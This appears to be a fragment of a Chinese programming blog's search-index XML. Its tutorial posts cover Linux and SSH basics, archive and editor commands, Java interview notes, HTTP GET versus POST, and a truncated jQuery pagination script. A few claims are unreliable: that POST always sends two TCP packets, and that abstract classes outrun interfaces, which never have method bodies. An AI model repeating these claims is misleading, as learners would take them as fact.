autoclean</span><br></pre></td></tr></table></figure><p>检查是否有损坏的依赖</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">apt-get check</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> Linux </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Linux </tag>
            
            <tag> Xshell </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>详细的Linux基本操作</title>
      <link href="/2018/08/02/linux-yuan-cheng-kong-zhi-guan-li/"/>
      <url>/2018/08/02/linux-yuan-cheng-kong-zhi-guan-li/</url>
      
        <content type="html"><![CDATA[<h1 id="Linux-远程控制管理"><a href="#Linux-远程控制管理" class="headerlink" title="Linux 远程控制管理"></a>Linux 远程控制管理</h1><p>传统的网络服务程序，FTP、POP、telnet 本质上都是不安全的，因为它们在网络上通过明文传送口令和数据，这些数据非常容易被截获。SSH 叫做 <code>Secure Shell</code>。通过 SSH，可以把传输数据进行加密，预防攻击，传输的数据进行了压缩，可以加快传输速度。</p><h1 id="OpenSSH"><a href="#OpenSSH" class="headerlink" title="OpenSSH"></a>OpenSSH</h1><p>SSH 是芬兰一家公司开发。但是受到版权和加密算法限制，现在很多人都使用 OpenSSH。OpenSSH 是 SSH 的替代软件，免费。</p><p>OpenSSH 由客户端和服务端组成。</p><ul><li>基于口令的安全验证：知道服务器的帐号密码即可远程登录，口令和数据在传输过程中都会被加密。</li><li>基于密钥的安全验证：此时需要在创建一对密钥，把公有密钥放到远程服务器上自己的宿主目录中，而私有密钥则由自己保存。</li><li><h3 id="检查软件是否安装"><a href="#检查软件是否安装" class="headerlink" title="检查软件是否安装"></a>检查软件是否安装</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">apt-cache policy openssh-client openssh-server</span><br></pre></td></tr></table></figure></li></ul><h3 id="安装服务端"><a href="#安装服务端" class="headerlink" title="安装服务端"></a>安装服务端</h3><p><code>apt-get install openssh-server</code></p><h3 id="安装客户端"><a href="#安装客户端" class="headerlink" title="安装客户端"></a>安装客户端</h3><p><code>apt-get install openssh-client</code></p><p>OpenSSH 服务器的主要配置文件为 <code>/etc/ssh/sshd\_config</code>，几乎所有的配置信息都在此文件中。</p><h1 id="XShell"><a href="#XShell" class="headerlink" title="XShell"></a>XShell</h1><p>XShell 是一个强大的安全终端模拟软件，它支持 SSH1, SSH2, 以及 Microsoft Windows 平台的 TELNET 协议。XShell 通过互联网到远程主机的安全连接以及它创新性的设计和特色帮助用户在复杂的网络环境中享受他们的工作。<br><a href="http://www.onlinedown.net/soft/36383.htm">下载Xshell</a><br>XShell 可以在 Windows 界面下用来访问远端不同系统下的服务器，从而比较好的达到远程控制终端的目的。</p><p>效果图如下：<img src="https://note.youdao.com/yws/public/resource/4446b015d9dc2fb92d362fab8b947642/xmlnote/A104A5BEC09149258E491DE359AAECAD/1840" alt=""></p><h1 id="Linux-的目录结构"><a href="#Linux-的目录结构" class="headerlink" title="Linux 的目录结构"></a>Linux 的目录结构</h1><p><img src="https://note.youdao.com/yws/public/resource/4446b015d9dc2fb92d362fab8b947642/xmlnote/A40B4D2E3640437485CA4BA0C0F7FCF3/1846" alt=""></p><table><thead><tr><th>目录</th><th>说明</th></tr></thead><tbody><tr><td>bin</td><td>存放二进制可执行文件(ls,cat,mkdir等)</td></tr><tr><td>boot</td><td>存放用于系统引导时使用的各种文件</td></tr><tr><td>dev</td><td>用于存放设备文件</td></tr><tr><td>etc</td><td>存放系统配置文件</td></tr><tr><td>home</td><td>存放所有用户文件的根目录</td></tr><tr><td>lib</td><td>存放跟文件系统中的程序运行所需要的共享库及内核模块</td></tr><tr><td>mnt</td><td>系统管理员安装临时文件系统的安装点</td></tr><tr><td>opt</td><td>额外安装的可选应用程序包所放置的位置</td></tr><tr><td>proc</td><td>虚拟文件系统，存放当前内存的映射</td></tr><tr><td>root</td><td>超级用户目录</td></tr><tr><td>sbin</td><td>存放二进制可执行文件，只有root才能访问</td></tr><tr><td>tmp</td><td>用于存放各种临时文件</td></tr><tr><td>usr</td><td>用于存放系统应用程序，比较重要的目录/usr/local 本地管理员软件安装目录</td></tr><tr><td>var</td><td>用于存放运行时需要改变数据的文件</td></tr></tbody></table><h1 id="Linux-操作文件目录"><a href="#Linux-操作文件目录" class="headerlink" title="Linux 操作文件目录"></a>Linux 操作文件目录</h1><table><thead><tr><th>命令</th><th>说明</th><th>语法</th><th>参数</th><th>参数说明</th></tr></thead><tbody><tr><td>ls</td><td>显示文件和目录列表</td><td>ls [-alrtAFR] [name...]</td><td></td><td></td></tr><tr><td>-l</td><td>列出文件的详细信息</td><td></td><td></td><td></td></tr><tr><td>-a</td><td>列出当前目录所有文件，包含隐藏文件</td><td></td><td></td><td></td></tr><tr><td>mkdir</td><td>创建目录</td><td>mkdir [-p] dirName</td><td></td><td></td></tr><tr><td>-p</td><td>父目录不存在情况下先生成父目录</td><td></td><td></td><td></td></tr><tr><td>cd</td><td>切换目录</td><td>cd [dirName]</td><td></td><td></td></tr><tr><td>touch</td><td>生成一个空文件</td><td></td><td></td><td></td></tr><tr><td>echo</td><td>生成一个带内容文件</td><td>echo abcd &gt; 1.txt，echo 1234 &gt;&gt; 1.txt</td><td></td><td></td></tr><tr><td>cat</td><td>显示文本文件内容</td><td>cat [-AbeEnstTuv] [--help] [--version] fileName</td><td></td><td></td></tr><tr><td>cp</td><td>复制文件或目录</td><td>cp [options] source dest</td><td></td><td></td></tr><tr><td>rm</td><td>删除文件</td><td>rm [options] name...</td><td></td><td></td></tr><tr><td>-f</td><td>强制删除文件或目录</td><td></td><td></td><td></td></tr><tr><td>-r</td><td>同时删除该目录下的所有文件</td><td></td><td></td><td></td></tr><tr><td>mv</td><td>移动文件或目录</td><td>mv [options] source dest</td><td></td><td></td></tr><tr><td>find</td><td>在文件系统中查找指定的文件</td><td></td><td>-name</td><td>文件名</td></tr><tr><td>grep</td><td>在指定的文本文件中查找指定的字符串</td><td></td><td></td><td></td></tr><tr><td>tree</td><td>用于以树状图列出目录的内容</td><td></td><td></td><td></td></tr><tr><td>pwd</td><td>显示当前工作目录</td><td></td><td></td><td></td></tr><tr><td>ln</td><td>建立软链接</td><td></td><td></td><td></td></tr><tr><td>more</td><td>分页显示文本文件内容</td><td></td><td></td><td></td></tr><tr><td>head</td><td>显示文件开头内容</td><td></td><td></td><td></td></tr><tr><td>tail</td><td>显示文件结尾内容</td><td></td><td>-f</td><td>跟踪输出</td></tr></tbody></table><h1 id="Linux-操作文件目录-1"><a href="#Linux-操作文件目录-1" class="headerlink" title="Linux 操作文件目录"></a>Linux 操作文件目录</h1><table><thead><tr><th>命令</th><th>说明</th></tr></thead><tbody><tr><td>stat</td><td>显示指定文件的相关信息,比ls命令显示内容更多</td></tr><tr><td>who</td><td>显示在线登录用户</td></tr><tr><td>hostname</td><td>显示主机名称</td></tr><tr><td>uname</td><td>显示系统信息</td></tr><tr><td>top</td><td>显示当前系统中耗费资源最多的进程</td></tr><tr><td>ps</td><td>显示瞬间的进程状态</td></tr><tr><td>du</td><td>显示指定的文件（目录）已使用的磁盘空间的总量</td></tr><tr><td>df</td><td>显示文件系统磁盘空间的使用情况</td></tr><tr><td>free</td><td>显示当前内存和交换空间的使用情况</td></tr><tr><td>ifconfig</td><td>显示网络接口信息</td></tr><tr><td>ping</td><td>测试网络的连通性</td></tr><tr><td>netstat</td><td>显示网络状态信息</td></tr><tr><td>clear</td><td>清屏</td></tr><tr><td>kill</td><td>杀死一个进程</td></tr></tbody></table><h1 id="Linux-开关机命令"><a href="#Linux-开关机命令" class="headerlink" title="Linux 开关机命令"></a>Linux 开关机命令</h1><p>shutdown 命令可以用来进行关机程序，并且在关机以前传送讯息给所有使用者正在执行的程序，shutdown 也可以用来重开机。</p><p>| 命令          | 语法  参数说明 |<br>|————-|———————————————————|—-|——|<br>| shutdown    | shutdown [-t seconds] [-rkhncfF] time [message] |<br>| -t seconds | 设定在几秒钟之后进行关机程序                                          |<br>| -k         | 并不会真的关机，只是将警告讯息传送给所有只用者                                 |<br>| -r         | 关机后重新开机（重启）                                             |<br>| -h         | 关机后停机                                                   |<br>| -n         | 不采用正常程序来关机，用强迫的方式杀掉所有执行中的程序后自行关机                        |<br>| -c         | 取消目前已经进行中的关机动作                                          |<br>| -f         | 关机时，不做 fcsk 动作(检查 Linux 档系统)                          |<br>| -F         | 关机时，强迫进行 fsck 动作                                        |<br>| time        | 设定关机的时间                                                 |<br>| message     | 传送给所有使用者的警告讯息                                           |</p><h1 id="重启"><a href="#重启" class="headerlink" title="重启"></a>重启</h1><ul><li>reboot</li><li>shutdown -r now<h1 id="关机"><a href="#关机" class="headerlink" title="关机"></a>关机</h1></li><li>shutdown -h now</li></ul><h1 id="Linux-压缩命令"><a href="#Linux-压缩命令" class="headerlink" title="Linux 压缩命令"></a>Linux 压缩命令</h1><h1 id="tar"><a href="#tar" class="headerlink" title="tar"></a>tar</h1><table><thead><tr><th>命令</th><th>语法</th><th>参数</th><th>参数说明</th></tr></thead><tbody><tr><td></td><td></td><td>tar</td><td>tar [-cxzjvf] 压缩打包文档的名称 欲打包目录</td></tr><tr><td></td><td></td><td>-c</td><td>建立一个归档文件的参数指令</td></tr><tr><td></td><td></td><td>-x</td><td>解开一个归档文件的参数指令</td></tr><tr><td></td><td></td><td>-z</td><td>是否需要用 gzip 压缩</td></tr><tr><td></td><td></td><td>-j</td><td>是否需要用 bzip2 压缩</td></tr><tr><td></td><td></td><td>-v</td><td>压缩的过程中显示文件</td></tr><tr><td></td><td></td><td>-f</td><td>使用档名，在 f 之后要立即接档名</td></tr><tr><td></td><td></td><td>-tf</td><td>查看归档文件里面的文件</td></tr><tr><td><strong>例子</strong>：</td><td></td><td></td><td></td></tr></tbody></table><ul><li>压缩文件夹：<code>tar -zcvf test.tar.gz test\</code></li><li>解压文件夹：<code>tar -zxvf test.tar.gz</code><h1 id="gzip"><a href="#gzip" class="headerlink" title="gzip"></a>gzip</h1></li></ul><table><thead><tr><th>命令</th><th>语法</th><th>参数</th><th>参数说明</th></tr></thead><tbody><tr><td></td><td></td><td>gzip</td><td>gzip [选项] 压缩（解压缩）的文件名</td></tr><tr><td></td><td></td><td>-d</td><td>解压缩</td></tr><tr><td></td><td></td><td>-l</td><td>对每个压缩文件，显示压缩文件的大小，未压缩文件的大小，压缩比，未压缩文件的名字</td></tr><tr><td></td><td></td><td>-v</td><td>对每一个压缩和解压的文件，显示文件名和压缩比</td></tr><tr><td></td><td></td><td>-num</td><td>用指定的数字num调整压缩的速度，-1或--fast表示最快压缩方法（低压缩比），-9或--best表示最慢压缩方法（高压缩比）。系统缺省值为6</td></tr></tbody></table><p>说明：压缩文件后缀为 gz</p><h1 id="bzip2"><a href="#bzip2" class="headerlink" title="bzip2"></a>bzip2</h1><table><thead><tr><th>命令</th><th>语法</th><th>参数</th><th>参数说明</th></tr></thead><tbody><tr><td>bzip2</td><td>bzip2 [-cdz]</td><td></td><td></td></tr><tr><td></td><td></td><td>-d</td><td>解压缩</td></tr><tr><td></td><td></td><td>-z</td><td>压缩参数</td></tr><tr><td></td><td></td><td>-num</td><td>用指定的数字num调整压缩的速度，-1或--fast表示最快压缩方法（低压缩比），-9或--best表示最慢压缩方法（高压缩比）。系统缺省值为6</td></tr></tbody></table><p>说明：压缩文件后缀为 bz2</p><h1 id="Linux-编辑器"><a href="#Linux-编辑器" class="headerlink" title="Linux 编辑器"></a>Linux 编辑器</h1><p>vim</p><p>#运行模式<br>编辑模式：等待编辑命令输入</p><p>插入模式：编辑模式下，输入 <code>i</code> 进入插入模式，插入文本信息</p><p>命令模式：在编辑模式下，输入<code>:</code> 进行命令模式</p><p>#命令<br><code>:q</code>直接退出vi</p><p><code>:wq</code>保存后退出vi ，并可以新建文件</p><p><code>:q!</code> 强制退出</p><p><code>:w file</code> 将当前内容保存成某个文件</p><p><code>:set number</code> 在编辑文件显示行号</p><p><code>:set nonumber</code> 在编辑文件不显示行号</p><h1 id="nano"><a href="#nano" class="headerlink" title="nano"></a>nano</h1><p>nano 是一个字符终端的文本编辑器，有点像 DOS 下的 editor 程序。它比 vi/vim 要简单得多，比较适合 Linux 初学者使用。某些 Linux 发行版的默认编辑器就是 nano。</p><h1 id="命令"><a href="#命令" class="headerlink" title="命令"></a>命令</h1><ul><li>保存：ctrl + o</li><li>搜索：ctrl + w</li><li>上一页：ctrl + y</li><li>下一页：ctrl + v</li><li>退出：ctrl + x</li></ul>]]></content>
      
      
      <categories>
          
          <category> Linux </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Linux </tag>
            
            <tag> Xshell </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Linux简介</title>
      <link href="/2018/08/01/linux-jian-jie/"/>
      <url>/2018/08/01/linux-jian-jie/</url>
      
        <content type="html"><![CDATA[<h1 id="Linux"><a href="#Linux" class="headerlink" title="Linux"></a>Linux</h1><p>Linux 是一种自由和开放源码的类 UNIX 操作系统，使用 <code>Linux 内核</code>。目前存在着许多不同的 Linux 发行版，可安装在各种各样的电脑硬件设备，从手机、平板电脑、路由器和影音游戏控制台，到桌上型电脑，大型电脑和超级电脑。 <code>Linux</code> 是一个领先的操作系统，世界上运算最快的 10 台超级电脑运行的都是 <code>Linux</code> 操作系统</p><p>Linux 操作系统也是自由软件和开放源代码发展中最著名的例子。只要遵循 GNU 通用公共许可证,任何人和机构都可以自由地使用 Linux 的所有底层源代码，也可以自由地修改和再发布。严格来讲，Linux 这个词本身只表示 Linux 内核，但在实际上人们已经习惯了用 Linux 来形容整个基于 Linux 内核，并且使用 GNU 工程各种工具和数据库的操作系统 (也被称为 GNU/ Linux)。通常情况下，Linux 被打包成供桌上型电脑和服务器使用的 Linux 发行版本。一些流行的主流 Linux 发行版本，包括 Debian (及其衍生版本 Ubuntu)，Fedora 和 OpenSUSE 等。Kernel + Softwares + Tools 就是 Linux Distribution</p><p>目前市面上较知名的发行版有：<code>Ubuntu</code>、RedHat、<code>CentOS</code>、Debian、Fedora、SuSE、OpenSUSE、TurboLinux、BluePoint、RedFlag、Xterm、SlackWare等。</p><h1 id="Linux-与-Windows-比较"><a href="#Linux-与-Windows-比较" class="headerlink" title="Linux 与 Windows 比较"></a>Linux 与 Windows 比较</h1><p>目前国内 Linux 更多的是应用于服务器上，而桌面操作系统更多使用的是 Windows。主要区别如下:</p><table><thead><tr><th>比较</th><th>Windows</th><th>Linux</th></tr></thead><tbody><tr><td>界面</td><td>界面统一，外壳程序固定所有 Windows 程序菜单几乎一致，快捷键也几乎相同</td><td>图形界面风格依发布版不同而不同，可能互不兼容。GNU/Linux 的终端机是从 UNIX 传承下来，基本命令和操作方法也几乎一致。</td></tr><tr><td>驱动程序</td><td>驱动程序丰富，版本更新频繁。默认安装程序里面一般包含有该版本发布时流行的硬件驱动程序，之后所出的新硬件驱动依赖于硬件厂商提供。对于一些老硬件，如果没有了原配的驱动有时很难支持。另外，有时硬件厂商未提供所需版本的 Windows 下的驱动，也会比较头痛。</td><td>由志愿者开发，由Linux核心开发小组发布，很多硬件厂商基于版权考虑并未提供驱动程序，尽管多数无需手动安装，但是涉及安装则相对复杂，使得新用户面对驱动程序问题（是否存在和安装方法）会一筹莫展。但是在开源开发模式下，许多老硬件尽管在 Windows 下很难支持的也容易找到驱动。HP、Intel、AMD 等硬件厂商逐步不同程度支持开源驱动，问题正在得到缓解。</td></tr><tr><td>使用</td><td>使用比较简单，容易入门。图形化界面对没有计算机背景知识的用户使用十分有利。</td><td>图形界面使用简单，容易入门。文字界面，需要学习才能掌握。</td></tr><tr><td>学习</td><td>系统构造复杂、变化频繁，且知识、技能淘汰快，深入学习困难。</td><td>系统构造简单、稳定，且知识、技能传承性好，深入学习相对容易。</td></tr><tr><td>软件</td><td>每一种特定功能可能都需要商业软件的支持，需要购买相应的授权。</td><td>大部分软件都可以自由获取，同样功能的软件选择较少。</td></tr></tbody></table><h1 id="安装-Ubuntu-Server"><a href="#安装-Ubuntu-Server" class="headerlink" title="安装 Ubuntu Server"></a>安装 Ubuntu Server</h1><p><a href="https://ubuntu.com/download">下载 Ubuntu Server</a></p><h1 id="安装-VMware"><a href="#安装-VMware" class="headerlink" title="安装 VMware"></a>安装 VMware</h1><p><a href="https://leblog.github.io/2018/03/18/vmware-workstation-pro-15-xia-zai/">安装虚拟机</a></p>]]></content>
      
      
      <categories>
          
          <category> Linux </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 教程 </tag>
            
            <tag> Linux </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>JAVA小知识总结</title>
      <link href="/2018/07/21/java-xiao-zhi-shi-zong-jie/"/>
      <url>/2018/07/21/java-xiao-zhi-shi-zong-jie/</url>
      
        <content type="html"><![CDATA[<h1 id="equals-与-的区别"><a href="#equals-与-的区别" class="headerlink" title="equals 与 == 的区别"></a>equals 与 == 的区别</h1><ul><li><code>==</code>与<code>equals</code>的主要区别是：<code>==</code> 常用于比较原生类型，而 <code>equals()</code> 方法用于检查对象的相等性。</li><li>另一个不同的点是：如果 <code>==</code>和 <code>equals()</code> 用于比较对象，当两个引用地址相同，<code>==</code> 返回 true。而 <code>equals()</code> 可以返回 true 或者 false 主要取决于重写实现。最常见的一个例子，字符串的比较，不同情况 <code>==</code> 和 <code>equals()</code> 返回不同的结果。</li></ul><h1 id="session-与-cookie-区别"><a href="#session-与-cookie-区别" class="headerlink" title="session 与 cookie 区别"></a>session 与 cookie 区别</h1><ul><li>cookie 数据存放在客户的浏览器上，session 数据放在服务器上。</li><li>cookie 不是很安全，别人可以分析存放在本地的 - cookie 并进行 cookie 欺骗，考虑到安全应当使用 session。</li><li>session 会在一定时间内保存在服务器上。当访问增多，会比较占用你服务器的性能，考虑到减轻服务器性能方面，应当使用 cookie。</li><li>单个 cookie 保存的数据不能超过 4K，很多浏览器都限制一个站点最多保存 20 个 cookie。    </li></ul><h1 id="final-finally-finalize-的区别"><a href="#final-finally-finalize-的区别" class="headerlink" title="final, finally, finalize 的区别"></a>final, finally, finalize 的区别</h1><h3 id="final"><a href="#final" class="headerlink" title="final"></a>final</h3><p>用于声明属性,方法和类, 分别表示属性不可变, 方法不可覆盖, 类不可继承.</p><h3 id="finally"><a href="#finally" class="headerlink" title="finally"></a>finally</h3><p>是异常处理语句结构的一部分，表示总是执行.</p><h3 id="finalize"><a href="#finalize" class="headerlink" title="finalize"></a>finalize</h3><p>是Object类的一个方法，在垃圾收集器执行的时候会调用被回收对象的此方法，可以覆盖此方法提供垃圾收集时的其他资源回收，例如关闭文件等. JVM不保证此方法总被调用.</p><h1 id="int-和-Integer-有什么区别"><a href="#int-和-Integer-有什么区别" class="headerlink" title="int 和 Integer 有什么区别"></a>int 和 Integer 有什么区别</h1><p>int 是 Java 提供的 8 种原始数据类型之一。Java 为每个原始类型提供了封装类，Integer 是 Java 为 int 提供的封装类。 int 的默认值为 <code>0</code>，而 Integer 的默认值为 <code>null</code>，是引用类型，即 Integer 可以区分出未赋值和值为 0 的区别，int 则无法表达出未赋值的情况， Java 中 int 和 Integer 关系是比较微妙的。关系如下：</p><ul><li>int 是基本的数据类型；</li><li>Integer 是 int 的封装类；</li><li>int 和 Integer 都可以表示某一个数值；</li><li>int 和 Integer 不能够互用，因为他们两种不同的数据类型；</li></ul><h1 id="重载和重写的区别"><a href="#重载和重写的区别" class="headerlink" title="重载和重写的区别"></a>重载和重写的区别</h1><h3 id="重载-Overload"><a href="#重载-Overload" class="headerlink" title="重载 Overload"></a>重载 Overload</h3><p>表示同一个类中可以有多个名称相同的方法，但这些方法的参数列表各不相同（即参数个数或类型不同）。</p><h3 id="重写-Override"><a href="#重写-Override" class="headerlink" title="重写 Override"></a>重写 Override</h3><p>表示子类中的方法可以与父类中的某个方法的名称和参数完全相同，通过子类创建的实例对象调用这个方法时，将调用子类中的定义方法，这相当于把父类中定义的那个完全相同的方法给覆盖了，这也是面向对象编程的多态性的一种表现。子类覆盖父类的方法时，只能比父类抛出更少的异常，或者是抛出父类抛出的异常的子异常，因为子类可以解决父类的一些问题，不能比父类有更多的问题。子类方法的访问权限只能比父类的更大，不能更小。如果父类的方法是private类型，那么，子类则不存在覆盖的限制，相当于子类中增加了一个全新的方法。</p><h1 id="抽象类和接口有什么区别"><a href="#抽象类和接口有什么区别" class="headerlink" title="抽象类和接口有什么区别"></a>抽象类和接口有什么区别</h1><table><thead><tr><th>参数</th><th>抽象类</th><th>接口</th></tr></thead><tbody><tr><td>默认的方法实现</td><td>它可以有默认的方法实现</td><td>接口完全是抽象的。它根本不存在方法的实现</td></tr><tr><td>实现</td><td>子类使用 extends 关键字来继承抽象类。如果子类不是抽象类的话，它需要提供抽象类中所有声明的方法的实现。</td><td>子类使用关键字 implements 来实现接口。它需要提供接口中所有声明的方法的实现</td></tr><tr><td>构造器</td><td>抽象类可以有构造器</td><td>接口不能有构造器</td></tr><tr><td>与正常 Java 类的区别</td><td>除了你不能实例化抽象类之外，它和普通Java类没有任何区别</td><td>接口是完全不同的类型</td></tr><tr><td>访问修饰符</td><td>抽象方法可以有 public、protected 和 default 这些修饰符</td><td>接口方法默认修饰符是 public。你不可以使用其它修饰符。</td></tr><tr><td>main 方法</td><td>抽象方法可以有 main 方法并且我们可以运行它</td><td>接口没有 main 方法，因此我们不能运行它。</td></tr><tr><td>多继承</td><td>抽象方法可以继承一个类和实现多个接口</td><td>接口只可以继承一个或多个其它接口</td></tr><tr><td>速度</td><td>它比接口速度要快</td><td>接口是稍微有点慢的，因为它需要时间去寻找在类中实现的方法。</td></tr><tr><td>添加新方法</td><td>如果你往抽象类中添加新的方法，你可以给它提供默认的实现。因此你不需要改变你现在的代码。</td><td>如果你往接口中添加方法，那么你必须改变实现该接口的类。</td></tr></tbody></table><h1 id="面向对象的特征"><a href="#面向对象的特征" class="headerlink" title="面向对象的特征"></a>面向对象的特征</h1><p>面向对象的三个基本特征是：<code>封装</code>、<code>继承</code>、<code>多态</code>。</p><h3 id="封装"><a href="#封装" class="headerlink" title="封装"></a>封装</h3><p>封装最好理解了。封装是面向对象的特征之一，是对象和类概念的主要特性。 封装，也就是把客观事物封装成抽象的类，并且类可以把自己的数据和方法只让可信的类或者对象操作，对不可信的进行信息隐藏。</p><h3 id="继承"><a href="#继承" class="headerlink" title="继承"></a>继承</h3><p>面向对象编程 (OOP) 语言的一个主要功能就是“继承”。继承是指这样一种能力：它可以使用现有类的所有功能，并在无需重新编写原来的类的情况下对这些功能进行扩展。</p><h3 id="多态"><a href="#多态" class="headerlink" title="多态"></a>多态</h3><p>多态性（polymorphisn）是允许你将父对象设置成为和一个或更多的他的子对象相等的技术，赋值之后，父对象就可以根据当前赋值给它的子对象的特性以不同的方式运作。简单的说，就是一句话：允许将子类类型的指针赋值给父类类型的指针。 实现多态，有二种方式，覆盖，重载。</p>]]></content>
      
      
      <categories>
          
          <category> JAVA </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>HTTP 请求的 GET 与 POST 方式的区别</title>
      <link href="/2018/07/16/http-qing-qiu-de-get-yu-post-fang-shi-de-qu-bie/"/>
      <url>/2018/07/16/http-qing-qiu-de-get-yu-post-fang-shi-de-qu-bie/</url>
      
        <content type="html"><![CDATA[<h1 id="HTTP-请求的-GET-与-POST-方式的区别"><a href="#HTTP-请求的-GET-与-POST-方式的区别" class="headerlink" title="HTTP 请求的 GET 与 POST 方式的区别"></a>HTTP 请求的 GET 与 POST 方式的区别</h1><blockquote><p>GET和POST是什么？HTTP协议中的两种发送请求的方法。</p></blockquote><blockquote><p>HTTP是什么？HTTP是基于TCP/IP的关于数据如何在万维网中如何通信的协议。</p></blockquote><ul><li>HTTP的底层是TCP/IP。所以GET和POST的底层也是TCP/IP，也就是说，GET/POST都是TCP链接。</li></ul><ul><li>GET和POST本质上就是TCP链接，并无差别。</li></ul><h3 id="GET和POST还有一个重大区别："><a href="#GET和POST还有一个重大区别：" class="headerlink" title="GET和POST还有一个重大区别："></a>GET和POST还有一个重大区别：</h3><ul><li>GET产生一个TCP数据包；POST产生两个TCP数据包。</li></ul><h3 id="小栗子"><a href="#小栗子" class="headerlink" title="小栗子:"></a>小栗子:</h3><ul><li><p>对于GET方式的请求，浏览器会把http header和data一并发送出去，服务器响应200（返回数据）；</p></li><li><p>对于POST，浏览器先发送header，服务器响应100 continue，浏览器再发送data，服务器响应200 ok（返回数据）。</p></li></ul><p>因为POST需要两步，时间上消耗的要多一点，看起来GET比POST更有效。因此Yahoo团队有推荐用GET替换POST来优化网站性能。但这是一个坑！跳入需谨慎。为什么？</p><ol><li><p>GET与POST都有自己的语义，不能随便混用。</p></li><li><p>据研究，在网络环境好的情况下，发一次包的时间和发两次包的时间差别基本可以无视。而在网络环境差的情况下，两次包的TCP在验证数据包完整性上，有非常大的优点。</p></li><li><p>并不是所有浏览器都会在POST中发送两次包，Firefox就只发送一次。</p></li></ol><p><strong>官方说法：</strong></p><blockquote><ul><li>根据 HTTP 规范，GET 用于信息获取，而且应该是安全的和幂等的。</li><li>根据 HTTP 规范，POST 表示可能修改变服务器上的资源的请求。</li><li>首先是 “GET 方式提交的数据最多只能是 1024 字节”，因为 GET 是通过 URL 提交数据，那么 GET 可提交的数据量就跟 URL 的长度有直接关系了。而实际上，URL 不存在参数上限的问题，HTTP 协议规范没有对 URL 长度进行限制。这个限制是特定的浏览器及服务器对它的限制。IE 对 URL 长度的限制是 2083 字节(2K+35)。对于其他浏览器，如 Netscape、FireFox 等，理论上没有长度限制，其限制取决于操作系统的支持。注意这是限制是整个 URL 长度，而不仅仅是你的参数值数据长度。</li><li>POST 是没有大小限制的，HTTP 协议规范也没有进行大小限制</li></ul></blockquote>]]></content>
      
      
      <categories>
          
          <category> 学习笔记 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 小知识 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Ajax分页</title>
      <link href="/2018/07/12/ajax-fen-ye/"/>
      <url>/2018/07/12/ajax-fen-ye/</url>
      
        <content type="html"><![CDATA[<h3 id="Ajax分页已经封装完成-简单快捷使用-可遍历部分属性"><a href="#Ajax分页已经封装完成-简单快捷使用-可遍历部分属性" class="headerlink" title="Ajax分页已经封装完成 简单快捷使用[可遍历部分属性]"></a>Ajax分页已经封装完成 简单快捷使用[可遍历部分属性]</h3><p>修改自己的请求地址  </p><p><strong>注意</strong>： 样式需要导入bootstrap样式会好看一点</p><p>分页查询链接 返回的是一个总数目的int 值  在数据库查总条数就可以了</p><p><strong>单页数据查询返回的是一个json格式的数组</strong> </p><p><strong>注意：</strong> 需要导入jQuery的jar包</p><p>代码如下：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">var page=1;</span><br><span class="line">      var pageend=0;</span><br><span class="line">      /**</span><br><span class="line">       *</span><br><span class="line">       * 每页条目数量pagecount</span><br><span class="line">       *</span><br><span class="line">       */</span><br><span class="line">      var pagecount=5;</span><br><span class="line">      /**</span><br><span class="line">       *</span><br><span class="line">       * headnames  分页标题名称  按照顺序书写</span><br><span class="line">       *</span><br><span class="line">       */</span><br><span class="line">      var headnames=new Array(&quot;id&quot;,&quot;用户名&quot;,&quot;where are you from&quot;)</span><br><span class="line">      /**</span><br><span class="line">       *</span><br><span class="line">       * notlookattr  不需要遍历的对象属性</span><br><span class="line">       *</span><br><span class="line">       */</span><br><span class="line">      var notlookattr=new Array(&quot;pwd&quot;)</span><br><span class="line">      /**</span><br><span class="line">       *</span><br><span class="line">       * Numberhref  分页查询 链接</span><br><span class="line">       *</span><br><span class="line">       */</span><br><span class="line">      var Numberhref=&quot;/user/selectPzd&quot;;</span><br><span class="line"> </span><br><span class="line">      /**</span><br><span class="line">       *</span><br><span class="line">       * limithref  单页数据查询 链接</span><br><span class="line">       *</span><br><span class="line">       */</span><br><span class="line">      var limithref=&quot;/user/selectPzdLimit&quot;;</span><br><span class="line">      /**</span><br><span class="line">       *</span><br><span class="line">       * 刷新分页方法*********************    flseh()  *******</span><br><span class="line">       *</span><br><span class="line">       */</span><br><span class="line"> </span><br><span class="line">      var pagechange=1;</span><br><span class="line">      function  pageTurn(data)&#123;</span><br><span class="line">          console.log(data)</span><br><span class="line">          if(data==&quot;?&quot;)&#123;</span><br><span class="line">              if(page!=1)&#123;</span><br><span class="line">                  page=page-1;</span><br><span class="line">                  flseh();</span><br><span class="line">              &#125;</span><br><span class="line">          &#125;else if(data==&quot;?&quot;)&#123;</span><br><span class="line">              if(page!=pageend)&#123;</span><br><span class="line">                  page=parseInt(page)+1;</span><br><span class="line">                  flseh();</span><br><span class="line">              &#125;</span><br><span class="line">          &#125;else if(data==&quot;...&quot;)&#123;</span><br><span class="line">              var endli=$(&quot;#pages li&quot;).slice($(&quot;#pages li&quot;).length-4,$(&quot;#pages li&quot;).length-3);</span><br><span class="line">              pagechange=endli.text();</span><br><span class="line">              page=pagechange;</span><br><span class="line">              flseh()</span><br><span class="line"> </span><br><span class="line">          &#125;else if(data==&quot;.&quot;)&#123;</span><br><span class="line">              var endli=$(&quot;#pages li&quot;).slice(2,3);</span><br><span class="line">              if(endli.text()!=1)&#123;</span><br><span class="line">                  pagechange=parseInt(endli.text())-10;</span><br><span class="line">                  page=pagechange;</span><br><span class="line">              &#125;</span><br><span class="line">              flseh()</span><br><span class="line">          &#125;else&#123;</span><br><span class="line">              page=parseInt(data);</span><br><span class="line">              flseh();</span><br><span class="line">          &#125;</span><br><span class="line">      &#125;</span><br><span class="line">      function flseh()&#123;</span><br><span class="line">          $.post(Numberhref,function (data) &#123;</span><br><span class="line">              $(&quot;#pages li&quot;).remove();</span><br><span class="line">              pageend=data/pagecount;</span><br><span 